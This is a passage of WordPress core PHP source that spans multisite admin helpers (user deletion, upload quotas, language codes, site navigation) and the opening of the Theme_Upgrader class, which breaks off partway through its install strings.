			$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );

			if ( $link_ids ) {
				foreach ( $link_ids as $link_id ) {
					wp_delete_link( $link_id );
				}
			}

			restore_current_blog();
		}
	}

	$meta = $wpdb->get_col( $wpdb->prepare( "SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d", $id ) );
	foreach ( $meta as $mid ) {
		delete_metadata_by_mid( 'user', $mid );
	}

	$wpdb->delete( $wpdb->users, array( 'ID' => $id ) );

	clean_user_cache( $user );

	/** This action is documented in wp-admin/includes/user.php */
	do_action( 'deleted_user', $id, null, $user );

	return true;
}

/**
 * Checks whether a site has used its allotted upload space.
 *
 * @since MU (3.0.0)
 *
 * @param bool $display_message Optional. If set to true and the quota is exceeded,
 *                              a warning message is displayed. Default true.
 * @return bool True if user is over upload space quota, otherwise false.
 */
function upload_is_user_over_quota( $display_message = true ) {
	if ( get_site_option( 'upload_space_check_disabled' ) ) {
		return false;
	}

	$space_allowed = get_space_allowed();
	if ( ! is_numeric( $space_allowed ) ) {
		$space_allowed = 10; // Default space allowed is 10 MB.
	}
	$space_used = get_space_used();

	if ( ( $space_allowed - $space_used ) < 0 ) {
		if ( $display_message ) {
			printf(
				/* translators: %s: Allowed space allocation. */
				__( 'Sorry, you have used your space allocation of %s. Please delete some files to upload more files.' ),
				size_format( $space_allowed * MB_IN_BYTES )
			);
		}
		return true;
	} else {
		return false;
	}
}

/**
 * Displays the amount of disk space used by the current site. Not used in core.
 *
 * @since MU (3.0.0)
 */
function display_space_usage() {
	$space_allowed = get_space_allowed();
	$space_used    = get_space_used();

	$percent_used = ( $space_used / $space_allowed ) * 100;

	$space = size_format( $space_allowed * MB_IN_BYTES );
	?>
	<strong>
	<?php
		/* translators: Storage space that's been used. 1: Percentage of used space, 2: Total space allowed in megabytes or gigabytes. */
		printf( __( 'Used: %1$s%% of %2$s' ), number_format( $percent_used ), $space );
	?>
	</strong>
	<?php
}

/**
 * Gets the remaining upload space for this site.
 *
 * @since MU (3.0.0)
 *
 * @param int $size Current max size in bytes.
 * @return int Max size in bytes.
 */
function fix_import_form_size( $size ) {
	if ( upload_is_user_over_quota( false ) ) {
		return 0;
	}
	$available = get_upload_space_available();
	return min( $size, $available );
}

/**
 * Displays the site upload space quota setting form on the Edit Site Settings screen.
 *
 * @since 3.0.0
 *
 * @param int $id The ID of the site to display the setting for.
 */
function upload_space_setting( $id ) {
	switch_to_blog( $id );
	$quota = get_option( 'blog_upload_space' );
	restore_current_blog();

	if ( ! $quota ) {
		$quota = '';
	}

	?>
	<tr>
		<th><label for="blog-upload-space-number"><?php _e( 'Site Upload Space Quota' ); ?></label></th>
		<td>
			<input type="number" step="1" min="0" style="width: 100px"
				name="option[blog_upload_space]" id="blog-upload-space-number"
				aria-describedby="blog-upload-space-desc" value="<?php echo esc_attr( $quota ); ?>" />
			<span id="blog-upload-space-desc"><span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Size in megabytes' );
				?>
			</span> <?php _e( 'MB (Leave blank for network default)' ); ?></span>
		</td>
	</tr>
	<?php
}

/**
 * Cleans the user cache for a specific user.
 *
 * @since 3.0.0
 *
 * @param int $id The user ID.
 * @return int|false The ID of the refreshed user or false if the user does not exist.
 */
function refresh_user_details( $id ) {
	$id = (int) $id;

	$user = get_userdata( $id );
	if ( ! $user ) {
		return false;
	}

	clean_user_cache( $user );

	return $id;
}

/**
 * Returns the language for a language code.
 *
 * @since 3.0.0
 *
 * @param string $code Optional. The two-letter language code. Default empty.
 * @return string The language corresponding to $code if it exists. If it does not exist,
 *                then the first two letters of $code is returned.
 */
function format_code_lang( $code = '' ) {
	$code       = strtolower( substr( $code, 0, 2 ) );
	$lang_codes = array(
		'aa' => 'Afar',
		'ab' => 'Abkhazian',
		'af' => 'Afrikaans',
		'ak' => 'Akan',
		'sq' => 'Albanian',
		'am' => 'Amharic',
		'ar' => 'Arabic',
		'an' => 'Aragonese',
		'hy' => 'Armenian',
		'as' => 'Assamese',
		'av' => 'Avaric',
		'ae' => 'Avestan',
		'ay' => 'Aymara',
		'az' => 'Azerbaijani',
		'ba' => 'Bashkir',
		'bm' => 'Bambara',
		'eu' => 'Basque',
		'be' => 'Belarusian',
		'bn' => 'Bengali',
		'bh' => 'Bihari',
		'bi' => 'Bislama',
		'bs' => 'Bosnian',
		'br' => 'Breton',
		'bg' => 'Bulgarian',
		'my' => 'Burmese',
		'ca' => 'Catalan; Valencian',
		'ch' => 'Chamorro',
		'ce' => 'Chechen',
		'zh' => 'Chinese',
		'cu' => 'Church Slavic; Old Slavonic; Church Slavonic; Old Bulgarian; Old Church Slavonic',
		'cv' => 'Chuvash',
		'kw' => 'Cornish',
		'co' => 'Corsican',
		'cr' => 'Cree',
		'cs' => 'Czech',
		'da' => 'Danish',
		'dv' => 'Divehi; Dhivehi; Maldivian',
		'nl' => 'Dutch; Flemish',
		'dz' => 'Dzongkha',
		'en' => 'English',
		'eo' => 'Esperanto',
		'et' => 'Estonian',
		'ee' => 'Ewe',
		'fo' => 'Faroese',
		'fj' => 'Fijjian',
		'fi' => 'Finnish',
		'fr' => 'French',
		'fy' => 'Western Frisian',
		'ff' => 'Fulah',
		'ka' => 'Georgian',
		'de' => 'German',
		'gd' => 'Gaelic; Scottish Gaelic',
		'ga' => 'Irish',
		'gl' => 'Galician',
		'gv' => 'Manx',
		'el' => 'Greek, Modern',
		'gn' => 'Guarani',
		'gu' => 'Gujarati',
		'ht' => 'Haitian; Haitian Creole',
		'ha' => 'Hausa',
		'he' => 'Hebrew',
		'hz' => 'Herero',
		'hi' => 'Hindi',
		'ho' => 'Hiri Motu',
		'hu' => 'Hungarian',
		'ig' => 'Igbo',
		'is' => 'Icelandic',
		'io' => 'Ido',
		'ii' => 'Sichuan Yi',
		'iu' => 'Inuktitut',
		'ie' => 'Interlingue',
		'ia' => 'Interlingua (International Auxiliary Language Association)',
		'id' => 'Indonesian',
		'ik' => 'Inupiaq',
		'it' => 'Italian',
		'jv' => 'Javanese',
		'ja' => 'Japanese',
		'kl' => 'Kalaallisut; Greenlandic',
		'kn' => 'Kannada',
		'ks' => 'Kashmiri',
		'kr' => 'Kanuri',
		'kk' => 'Kazakh',
		'km' => 'Central Khmer',
		'ki' => 'Kikuyu; Gikuyu',
		'rw' => 'Kinyarwanda',
		'ky' => 'Kirghiz; Kyrgyz',
		'kv' => 'Komi',
		'kg' => 'Kongo',
		'ko' => 'Korean',
		'kj' => 'Kuanyama; Kwanyama',
		'ku' => 'Kurdish',
		'lo' => 'Lao',
		'la' => 'Latin',
		'lv' => 'Latvian',
		'li' => 'Limburgan; Limburger; Limburgish',
		'ln' => 'Lingala',
		'lt' => 'Lithuanian',
		'lb' => 'Luxembourgish; Letzeburgesch',
		'lu' => 'Luba-Katanga',
		'lg' => 'Ganda',
		'mk' => 'Macedonian',
		'mh' => 'Marshallese',
		'ml' => 'Malayalam',
		'mi' => 'Maori',
		'mr' => 'Marathi',
		'ms' => 'Malay',
		'mg' => 'Malagasy',
		'mt' => 'Maltese',
		'mo' => 'Moldavian',
		'mn' => 'Mongolian',
		'na' => 'Nauru',
		'nv' => 'Navajo; Navaho',
		'nr' => 'Ndebele, South; South Ndebele',
		'nd' => 'Ndebele, North; North Ndebele',
		'ng' => 'Ndonga',
		'ne' => 'Nepali',
		'nn' => 'Norwegian Nynorsk; Nynorsk, Norwegian',
		'nb' => 'Bokmål, Norwegian, Norwegian Bokmål',
		'no' => 'Norwegian',
		'ny' => 'Chichewa; Chewa; Nyanja',
		'oc' => 'Occitan, Provençal',
		'oj' => 'Ojibwa',
		'or' => 'Oriya',
		'om' => 'Oromo',
		'os' => 'Ossetian; Ossetic',
		'pa' => 'Panjabi; Punjabi',
		'fa' => 'Persian',
		'pi' => 'Pali',
		'pl' => 'Polish',
		'pt' => 'Portuguese',
		'ps' => 'Pushto',
		'qu' => 'Quechua',
		'rm' => 'Romansh',
		'ro' => 'Romanian',
		'rn' => 'Rundi',
		'ru' => 'Russian',
		'sg' => 'Sango',
		'sa' => 'Sanskrit',
		'sr' => 'Serbian',
		'hr' => 'Croatian',
		'si' => 'Sinhala; Sinhalese',
		'sk' => 'Slovak',
		'sl' => 'Slovenian',
		'se' => 'Northern Sami',
		'sm' => 'Samoan',
		'sn' => 'Shona',
		'sd' => 'Sindhi',
		'so' => 'Somali',
		'st' => 'Sotho, Southern',
		'es' => 'Spanish; Castilian',
		'sc' => 'Sardinian',
		'ss' => 'Swati',
		'su' => 'Sundanese',
		'sw' => 'Swahili',
		'sv' => 'Swedish',
		'ty' => 'Tahitian',
		'ta' => 'Tamil',
		'tt' => 'Tatar',
		'te' => 'Telugu',
		'tg' => 'Tajik',
		'tl' => 'Tagalog',
		'th' => 'Thai',
		'bo' => 'Tibetan',
		'ti' => 'Tigrinya',
		'to' => 'Tonga (Tonga Islands)',
		'tn' => 'Tswana',
		'ts' => 'Tsonga',
		'tk' => 'Turkmen',
		'tr' => 'Turkish',
		'tw' => 'Twi',
		'ug' => 'Uighur; Uyghur',
		'uk' => 'Ukrainian',
		'ur' => 'Urdu',
		'uz' => 'Uzbek',
		've' => 'Venda',
		'vi' => 'Vietnamese',
		'vo' => 'Volapük',
		'cy' => 'Welsh',
		'wa' => 'Walloon',
		'wo' => 'Wolof',
		'xh' => 'Xhosa',
		'yi' => 'Yiddish',
		'yo' => 'Yoruba',
		'za' => 'Zhuang; Chuang',
		'zu' => 'Zulu',
	);

	/**
	 * Filters the language codes.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string[] $lang_codes Array of key/value pairs of language codes where key is the short version.
	 * @param string   $code       A two-letter designation of the language.
	 */
	$lang_codes = apply_filters( 'lang_codes', $lang_codes, $code );
	return strtr( $code, $lang_codes );
}

/**
 * Displays an access denied message when a user tries to view a site's dashboard they
 * do not have access to.
 *
 * @since 3.2.0
 * @access private
 */
function _access_denied_splash() {
	if ( ! is_user_logged_in() || is_network_admin() ) {
		return;
	}

	$blogs = get_blogs_of_user( get_current_user_id() );

	if ( wp_list_filter( $blogs, array( 'userblog_id' => get_current_blog_id() ) ) ) {
		return;
	}

	$blog_name = get_bloginfo( 'name' );

	if ( empty( $blogs ) ) {
		wp_die(
			sprintf(
				/* translators: 1: Site title. */
				__( 'You attempted to access the "%1$s" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the "%1$s" dashboard, please contact your network administrator.' ),
				$blog_name
			),
			403
		);
	}

	$output = '<p>' . sprintf(
		/* translators: 1: Site title. */
		__( 'You attempted to access the "%1$s" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the "%1$s" dashboard, please contact your network administrator.' ),
		$blog_name
	) . '</p>';
	$output .= '<p>' . __( 'If you reached this screen by accident and meant to visit one of your own sites, here are some shortcuts to help you find your way.' ) . '</p>';

	$output .= '<h3>' . __( 'Your Sites' ) . '</h3>';
	$output .= '<table>';

	foreach ( $blogs as $blog ) {
		$output .= '<tr>';
		$output .= "<td>{$blog->blogname}</td>";
		$output .= '<td><a href="' . esc_url( get_admin_url( $blog->userblog_id ) ) . '">' . __( 'Visit Dashboard' ) . '</a> | ' .
			'<a href="' . esc_url( get_home_url( $blog->userblog_id ) ) . '">' . __( 'View Site' ) . '</a></td>';
		$output .= '</tr>';
	}

	$output .= '</table>';

	wp_die( $output, 403 );
}

/**
 * Checks if the current user has permissions to import new users.
 *
 * @since 3.0.0
 *
 * @param string $permission A permission to be checked. Currently not used.
 * @return bool True if the user has proper permissions, false if they do not.
 */
function check_import_new_users( $permission ) {
	if ( ! current_user_can( 'manage_network_users' ) ) {
		return false;
	}

	return true;
}
// See "import_allow_fetch_attachments" and "import_attachment_size_limit" filters too.

/**
 * Generates and displays a drop-down of available languages.
 *
 * @since 3.0.0
 *
 * @param string[] $lang_files Optional. An array of the language files. Default empty array.
 * @param string   $current    Optional. The current language code. Default empty.
 */
function mu_dropdown_languages( $lang_files = array(), $current = '' ) {
	$flag   = false;
	$output = array();

	foreach ( (array) $lang_files as $val ) {
		$code_lang = basename( $val, '.mo' );

		if ( 'en_US' === $code_lang ) { // American English.
			$flag          = true;
			$ae            = __( 'American English' );
			$output[ $ae ] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . $ae . '</option>';
		} elseif ( 'en_GB' === $code_lang ) { // British English.
			$flag          = true;
			$be            = __( 'British English' );
			$output[ $be ] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . $be . '</option>';
		} else {
			$translated            = format_code_lang( $code_lang );
			$output[ $translated ] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . esc_html( $translated ) . '</option>';
		}
	}

	if ( false === $flag ) { // WordPress English.
		$output[] = '<option value=""' . selected( $current, '', false ) . '>' . __( 'English' ) . '</option>';
	}

	// Order by name.
	uksort( $output, 'strnatcasecmp' );

	/**
	 * Filters the languages available in the dropdown.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string[] $output     Array of HTML output for the dropdown.
	 * @param string[] $lang_files Array of available language files.
	 * @param string   $current    The current language code.
	 */
	$output = apply_filters( 'mu_dropdown_languages', $output, $lang_files, $current );

	echo implode( "\n\t", $output );
}

/**
 * Displays an admin notice to upgrade all sites after a core upgrade.
 *
 * @since 3.0.0
 *
 * @global int    $wp_db_version WordPress database version.
 * @global string $pagenow       The filename of the current screen.
 *
 * @return void|false Void on success. False if the current user is not a super admin.
 */
function site_admin_notice() {
	global $wp_db_version, $pagenow;

	if ( ! current_user_can( 'upgrade_network' ) ) {
		return false;
	}

	if ( 'upgrade.php' === $pagenow ) {
		return;
	}

	if ( (int) get_site_option( 'wpmu_upgrade_site' ) !== $wp_db_version ) {
		$upgrade_network_message = sprintf(
			/* translators: %s: URL to Upgrade Network screen. */
			__( 'Thank you for Updating! Please visit the <a href="%s">Upgrade Network</a> page to update all your sites.' ),
			esc_url( network_admin_url( 'upgrade.php' ) )
		);

		wp_admin_notice(
			$upgrade_network_message,
			array(
				'type'               => 'warning',
				'additional_classes' => array( 'update-nag', 'inline' ),
				'paragraph_wrap'     => false,
			)
		);
	}
}

/**
 * Avoids a collision between a site slug and a permalink slug.
 *
 * In a subdirectory installation this will make sure that a site and a post do not use the
 * same subdirectory by checking for a site with the same name as a new post.
 *
 * @since 3.0.0
 *
 * @param array $data    An array of post data.
 * @param array $postarr An array of posts. Not currently used.
 * @return array The new array of post data after checking for collisions.
 */
function avoid_blog_page_permalink_collision( $data, $postarr ) {
	if ( is_subdomain_install() ) {
		return $data;
	}
	if ( 'page' !== $data['post_type'] ) {
		return $data;
	}
	if ( ! isset( $data['post_name'] ) || '' === $data['post_name'] ) {
		return $data;
	}
	if ( ! is_main_site() ) {
		return $data;
	}
	if ( isset( $data['post_parent'] ) && $data['post_parent'] ) {
		return $data;
	}

	$post_name = $data['post_name'];
	$c         = 0;

	while ( $c < 10 && get_id_from_blogname( $post_name ) ) {
		$post_name .= mt_rand( 1, 10 );
		++$c;
	}

	if ( $post_name !== $data['post_name'] ) {
		$data['post_name'] = $post_name;
	}

	return $data;
}

/**
 * Handles the display of choosing a user's primary site.
 *
 * This displays the user's primary site and allows the user to choose
 * which site is primary.
 *
 * @since 3.0.0
 */
function choose_primary_blog() {
	?>
	<table class="form-table" role="presentation">
	<tr>
	<?php /* translators: My Sites label. */ ?>
		<th scope="row"><label for="primary_blog"><?php _e( 'Primary Site' ); ?></label></th>
		<td>
		<?php
		$all_blogs    = get_blogs_of_user( get_current_user_id() );
		$primary_blog = (int) get_user_meta( get_current_user_id(), 'primary_blog', true );
		if ( count( $all_blogs ) > 1 ) {
			$found = false;
			?>
			<select name="primary_blog" id="primary_blog">
				<?php
				foreach ( (array) $all_blogs as $blog ) {
					if ( $blog->userblog_id === $primary_blog ) {
						$found = true;
					}
					?>
					<option value="<?php echo $blog->userblog_id; ?>"<?php selected( $primary_blog, $blog->userblog_id ); ?>><?php echo esc_url( get_home_url( $blog->userblog_id ) ); ?></option>
					<?php
				}
				?>
			</select>
			<?php
			if ( ! $found ) {
				$blog = reset( $all_blogs );
				update_user_meta( get_current_user_id(), 'primary_blog', $blog->userblog_id );
			}
		} elseif ( 1 === count( $all_blogs ) ) {
			$blog = reset( $all_blogs );
			echo esc_url( get_home_url( $blog->userblog_id ) );
			if ( $blog->userblog_id !== $primary_blog ) { // Set the primary blog again if it's out of sync with blog list.
				update_user_meta( get_current_user_id(), 'primary_blog', $blog->userblog_id );
			}
		} else {
			_e( 'Not available' );
		}
		?>
		</td>
	</tr>
	</table>
	<?php
}

/**
 * Determines whether or not this network from this page can be edited.
 *
 * By default editing of network is restricted to the Network Admin for that `$network_id`.
 * This function allows for this to be overridden.
 *
 * @since 3.1.0
 *
 * @param int $network_id The network ID to check.
 * @return bool True if network can be edited, false otherwise.
 */
function can_edit_network( $network_id ) {
	if ( get_current_network_id() === (int) $network_id ) {
		$result = true;
	} else {
		$result = false;
	}

	/**
	 * Filters whether this network can be edited from this page.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $result     Whether the network can be edited from this page.
	 * @param int  $network_id The network ID to check.
	 */
	return apply_filters( 'can_edit_network', $result, $network_id );
}

/**
 * Prints thickbox image paths for Network Admin.
 *
 * @since 3.1.0
 *
 * @access private
 */
function _thickbox_path_admin_subfolder() {
	?>
<script type="text/javascript">
var tb_pathToImage = "<?php echo esc_js( includes_url( 'js/thickbox/loadingAnimation.gif', 'relative' ) ); ?>";
</script>
	<?php
}

/**
 * @param array $users
 * @return bool
 */
function confirm_delete_users( $users ) {
	$current_user = wp_get_current_user();
	if ( ! is_array( $users ) || empty( $users ) ) {
		return false;
	}
	?>
	<h1><?php esc_html_e( 'Users' ); ?></h1>

	<?php if ( 1 === count( $users ) ) : ?>
		<p><?php _e( 'You have chosen to delete the user from all networks and sites.' ); ?></p>
	<?php else : ?>
		<p><?php _e( 'You have chosen to delete the following users from all networks and sites.' ); ?></p>
	<?php endif; ?>

	<form action="users.php?action=dodelete" method="post">
	<input type="hidden" name="dodelete" />
	<?php
	wp_nonce_field( 'ms-users-delete' );
	$site_admins = get_super_admins();
	$admin_out   = '<option value="' . esc_attr( $current_user->ID ) . '">' . $current_user->user_login . '</option>';
	?>
	<table class="form-table" role="presentation">
	<?php
	$allusers = (array) $_POST['allusers'];
	foreach ( $allusers as $user_id ) {
		if ( '' !== $user_id && '0' !== $user_id ) {
			$delete_user = get_userdata( $user_id );

			if ( ! current_user_can( 'delete_user', $delete_user->ID ) ) {
				wp_die(
					sprintf(
						/* translators: %s: User login. */
						__( 'Warning! User %s cannot be deleted.' ),
						$delete_user->user_login
					)
				);
			}

			if ( in_array( $delete_user->user_login, $site_admins, true ) ) {
				wp_die(
					sprintf(
						/* translators: %s: User login. */
						__( 'Warning! User cannot be deleted. The user %s is a network administrator.' ),
						'<em>' . $delete_user->user_login . '</em>'
					)
				);
			}
			?>
			<tr>
				<th scope="row"><?php echo $delete_user->user_login; ?>
					<?php echo '<input type="hidden" name="user[]" value="' . esc_attr( $user_id ) . '" />' . "\n"; ?>
				</th>
			<?php
			$blogs = get_blogs_of_user( $user_id, true );

			if ( ! empty( $blogs ) ) {
				?>
				<td><fieldset><p><legend>
				<?php
				printf(
					/* translators: %s: User login. */
					__( 'What should be done with content owned by %s?' ),
					'<em>' . $delete_user->user_login . '</em>'
				);
				?>
				</legend></p>
				<?php
				foreach ( (array) $blogs as $key => $details ) {
					$blog_users = get_users(
						array(
							'blog_id' => $details->userblog_id,
							'fields'  => array( 'ID', 'user_login' ),
						)
					);

					if ( is_array( $blog_users ) && ! empty( $blog_users ) ) {
						$user_site     = "<a href='" . esc_url( get_home_url( $details->userblog_id ) ) . "'>{$details->blogname}</a>";
						$user_dropdown = '<label for="reassign_user" class="screen-reader-text">' .
								/* translators: Hidden accessibility text. */
								__( 'Select a user' ) .
							'</label>';
						$user_dropdown .= "<select name='blog[$user_id][$key]' id='reassign_user'>";
						$user_list      = '';

						foreach ( $blog_users as $user ) {
							if ( ! in_array( (int) $user->ID, $allusers, true ) ) {
								$user_list .= "<option value='{$user->ID}'>{$user->user_login}</option>";
							}
						}

						if ( '' === $user_list ) {
							$user_list = $admin_out;
						}

						$user_dropdown .= $user_list;
						$user_dropdown .= "</select>\n";
						?>
						<ul style="list-style:none;">
							<li>
								<?php
								/* translators: %s: Link to user's site. */
								printf( __( 'Site: %s' ), $user_site );
								?>
							</li>
							<li><label><input type="radio" id="delete_option0" name="delete[<?php echo $details->userblog_id . '][' . $delete_user->ID; ?>]" value="delete" checked="checked" />
							<?php _e( 'Delete all content.' ); ?></label></li>
							<li><label><input type="radio" id="delete_option1" name="delete[<?php echo $details->userblog_id . '][' . $delete_user->ID; ?>]" value="reassign" />
							<?php _e( 'Attribute all content to:' ); ?></label>
							<?php echo $user_dropdown; ?></li>
						</ul>
						<?php
					}
				}
				echo '</fieldset></td></tr>';
			} else {
				?>
				<td><p><?php _e( 'User has no sites or content and will be deleted.' ); ?></p></td>
			<?php } ?>
			</tr>
			<?php
		}
	}

	?>
	</table>
	<?php
	/** This action is documented in wp-admin/users.php */
	do_action( 'delete_user_form', $current_user, $allusers );

	if ( 1 === count( $users ) ) :
		?>
		<p><?php _e( 'Once you hit &#8220;Confirm Deletion&#8221;, the user will be permanently removed.' ); ?></p>
	<?php else : ?>
		<p><?php _e( 'Once you hit &#8220;Confirm Deletion&#8221;, these users will be permanently removed.' ); ?></p>
		<?php
	endif;

	submit_button( __( 'Confirm Deletion' ), 'primary' );
	?>
	</form>
	<?php
	return true;
}

/**
 * Prints JavaScript in the header on the Network Settings screen.
 *
 * @since 4.1.0
 */
function network_settings_add_js() {
	?>
<script type="text/javascript">
jQuery( function($) {
	var languageSelect = $( '#WPLANG' );
	$( 'form' ).on( 'submit', function() {
		/*
		 * Don't show a spinner for English and installed languages,
		 * as there is nothing to download.
		 */
		if ( ! languageSelect.find( 'option:selected' ).data( 'installed' ) ) {
			$( '#submit', this ).after( '<span class="spinner language-install-spinner is-active" />' );
		}
	});
} );
</script>
	<?php
}

/**
 * Outputs the HTML for a network's "Edit Site" tabular interface.
 *
 * @since 4.6.0
 *
 * @global string $pagenow The filename of the current screen.
 *
 * @param array $args {
 *     Optional. Array or string of Query parameters. Default empty array.
 *
 *     @type int    $blog_id  The site ID. Default is the current site.
 *     @type array  $links    The tabs to include with (label|url|cap) keys.
 *     @type string $selected The ID of the selected link.
 * }
 */
function network_edit_site_nav( $args = array() ) {

	/**
	 * Filters the links that appear on site-editing network pages.
	 *
	 * Default links: 'site-info', 'site-users', 'site-themes', and 'site-settings'.
	 *
	 * @since 4.6.0
	 *
	 * @param array $links {
	 *     An array of link data representing individual network admin pages.
	 *
	 *     @type array $link_slug {
	 *         An array of information about the individual link to a page.
	 *
	 *         $type string $label Label to use for the link.
	 *         $type string $url   URL, relative to `network_admin_url()` to use for the link.
	 *         $type string $cap   Capability required to see the link.
	 *     }
	 * }
	 */
	$links = apply_filters(
		'network_edit_site_nav_links',
		array(
			'site-info'     => array(
				'label' => __( 'Info' ),
				'url'   => 'site-info.php',
				'cap'   => 'manage_sites',
			),
			'site-users'    => array(
				'label' => __( 'Users' ),
				'url'   => 'site-users.php',
				'cap'   => 'manage_sites',
			),
			'site-themes'   => array(
				'label' => __( 'Themes' ),
				'url'   => 'site-themes.php',
				'cap'   => 'manage_sites',
			),
			'site-settings' => array(
				'label' => __( 'Settings' ),
				'url'   => 'site-settings.php',
				'cap'   => 'manage_sites',
			),
		)
	);

	// Parse arguments.
	$parsed_args = wp_parse_args(
		$args,
		array(
			'blog_id'  => isset( $_GET['blog_id'] ) ? (int) $_GET['blog_id'] : 0,
			'links'    => $links,
			'selected' => 'site-info',
		)
	);

	// Setup the links array.
	$screen_links = array();

	// Loop through tabs.
	foreach ( $parsed_args['links'] as $link_id => $link ) {

		// Skip link if user can't access.
		if ( ! current_user_can( $link['cap'], $parsed_args['blog_id'] ) ) {
			continue;
		}

		// Link classes.
		$classes = array( 'nav-tab' );

		// Aria-current attribute.
		$aria_current = '';

		// Selected is set by the parent OR assumed by the $pagenow global.
		if ( $parsed_args['selected'] === $link_id || $link['url'] === $GLOBALS['pagenow'] ) {
			$classes[]    = 'nav-tab-active';
			$aria_current = ' aria-current="page"';
		}

		// Escape each class.
		$esc_classes = implode( ' ', $classes );

		// Get the URL for this link.
		$url = add_query_arg( array( 'id' => $parsed_args['blog_id'] ), network_admin_url( $link['url'] ) );

		// Add link to nav links.
		$screen_links[ $link_id ] = '<a href="' . esc_url( $url ) . '" id="' . esc_attr( $link_id ) . '" class="' . $esc_classes . '"' . $aria_current . '>' . esc_html( $link['label'] ) . '</a>';
	}

	// All done!
	echo '<nav class="nav-tab-wrapper wp-clearfix" aria-label="' . esc_attr__( 'Secondary menu' ) . '">';
	echo implode( '', $screen_links );
	echo '</nav>';
}

/**
 * Returns the arguments for the help tab on the Edit Site screens.
 *
 * @since 4.9.0
 *
 * @return array Help tab arguments.
 */
function get_site_screen_help_tab_args() {
	return array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'The menu is for editing information specific to individual sites, particularly if the admin area of a site is unavailable.' ) . '</p>' .
			'<p>' . __( '<strong>Info</strong> &mdash; The site URL is rarely edited as this can cause the site to not work properly. The Registered date and Last Updated date are displayed. Network admins can mark a site as archived, spam, deleted and mature, to remove from public listings or disable.' ) . '</p>' .
			'<p>' . __( '<strong>Users</strong> &mdash; This displays the users associated with this site. You can also change their role, reset their password, or remove them from the site. Removing the user from the site does not remove the user from the network.' ) . '</p>' .
			'<p>' . sprintf(
				/* translators: %s: URL to Network Themes screen. */
				__( '<strong>Themes</strong> &mdash; This area shows themes that are not already enabled across the network. Enabling a theme in this menu makes it accessible to this site. It does not activate the theme, but allows it to show in the site&#8217;s Appearance menu. To enable a theme for the entire network, see the <a href="%s">Network Themes</a> screen.' ),
				network_admin_url( 'themes.php' )
			) . '</p>' .
			'<p>' . __( '<strong>Settings</strong> &mdash; This page shows a list of all settings associated with this site. Some are created by WordPress and others are created by plugins you activate. Note that some fields are grayed out and say Serialized Data. You cannot modify these values due to the way the setting is stored in the database.' ) . '</p>',
	);
}

/**
 * Returns the content for the help sidebar on the Edit Site screens.
 *
 * @since 4.9.0
 *
 * @return string Help sidebar content.
 */
function get_site_screen_help_sidebar_content() {
	return '<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
		'<p>' . __( '<a href="https://wordpress.org/documentation/article/network-admin-sites-screen/">Documentation on Site Management</a>' ) . '</p>' .
		'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>';
}
<?php
/**
 * Upgrade API: Theme_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for upgrading/installing themes.
 *
 * It is designed to upgrade/install themes from a local zip, remote zip URL,
 * or uploaded zip file.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 *
 * @see WP_Upgrader
 */
class Theme_Upgrader extends WP_Upgrader {

	/**
	 * Result of the theme upgrade offer.
	 *
	 * @since 2.8.0
	 * @var array|WP_Error $result
	 * @see WP_Upgrader::$result
	 */
	public $result;

	/**
	 * Whether multiple themes are being upgraded/installed in bulk.
	 *
	 * @since 2.9.0
	 * @var bool $bulk
	 */
	public $bulk = false;

	/**
	 * New theme info.
	 *
	 * @since 5.5.0
	 * @var array $new_theme_data
	 *
	 * @see check_package()
	 */
	public $new_theme_data = array();

	/**
	 * Initializes the upgrade strings.
	 *
	 * @since 2.8.0
	 */
	public function upgrade_strings() {
		$this->strings['up_to_date'] = __( 'The theme is at the latest version.' );
		$this->strings['no_package'] = __( 'Update package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package'] = sprintf( __( 'Downloading update from %s&#8230;' ), '<span class="code pre">%s</span>' );
		$this->strings['unpack_package']      = __( 'Unpacking the update&#8230;' );
		$this->strings['remove_old']          = __( 'Removing the old version of the theme&#8230;' );
		$this->strings['remove_old_failed']   = __( 'Could not remove the old theme.' );
		$this->strings['process_failed']      = __( 'Theme update failed.' );
		$this->strings['process_success']     = __( 'Theme updated successfully.' );
	}

	/**
	 * Initializes the installation strings.
	 *
	 * @since 2.8.0
	 */
	public function install_strings() {
		$this->strings['no_package'] = __( 'Installation package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package'] = sprintf( __( 'Downloading installation package from %s&#8230;' ), '<span class="code pre">%s</span>' );
		$this->strings['unpack_package']      = __( 'Unpacking the package&#8230;' );
		$this->strings['installing_package']  = __( 'Installing the theme&#8230;' );
		$this->strings['remove_old']          = __( 'Removing the old version of the theme&#8230;' );
		$this->strings['remove_old_failed']   = __( 'Could not remove the old theme.' );
		$this->strings['no_files']            = __( 'The theme contains no files.' );
		$this->strings['process_failed']      = __( 'Theme installation failed.' );
		$this->strings['process_success']     = __( 'Theme installed successfully.' );
		/* translators: 1: Theme name, 2: Theme version. */
		$this->strings['process_success_specific'] = __( 'Successfully installed the theme <strong>%1$s %2$s</strong>.' );
		$this->strings['parent_theme_search']      = __( 'This theme requires a parent theme. Checking if it is installed&#8230;' );
		/* translators: 1: Theme name, 2: Theme version. */
		$this->strings['parent_theme_prepare_install'] = __( 'Preparing to install <strong>%1$s %2$s</strong>&#8230;' );
		/* translators: 1: Theme name, 2: Theme version. */
		$this->strings['parent_theme_currently_installed'] = __( 'The parent theme, <strong>%1$s %2$s</strong>, is currently installed.' );
		/* translators: 1: Theme name, 2: Theme version. */
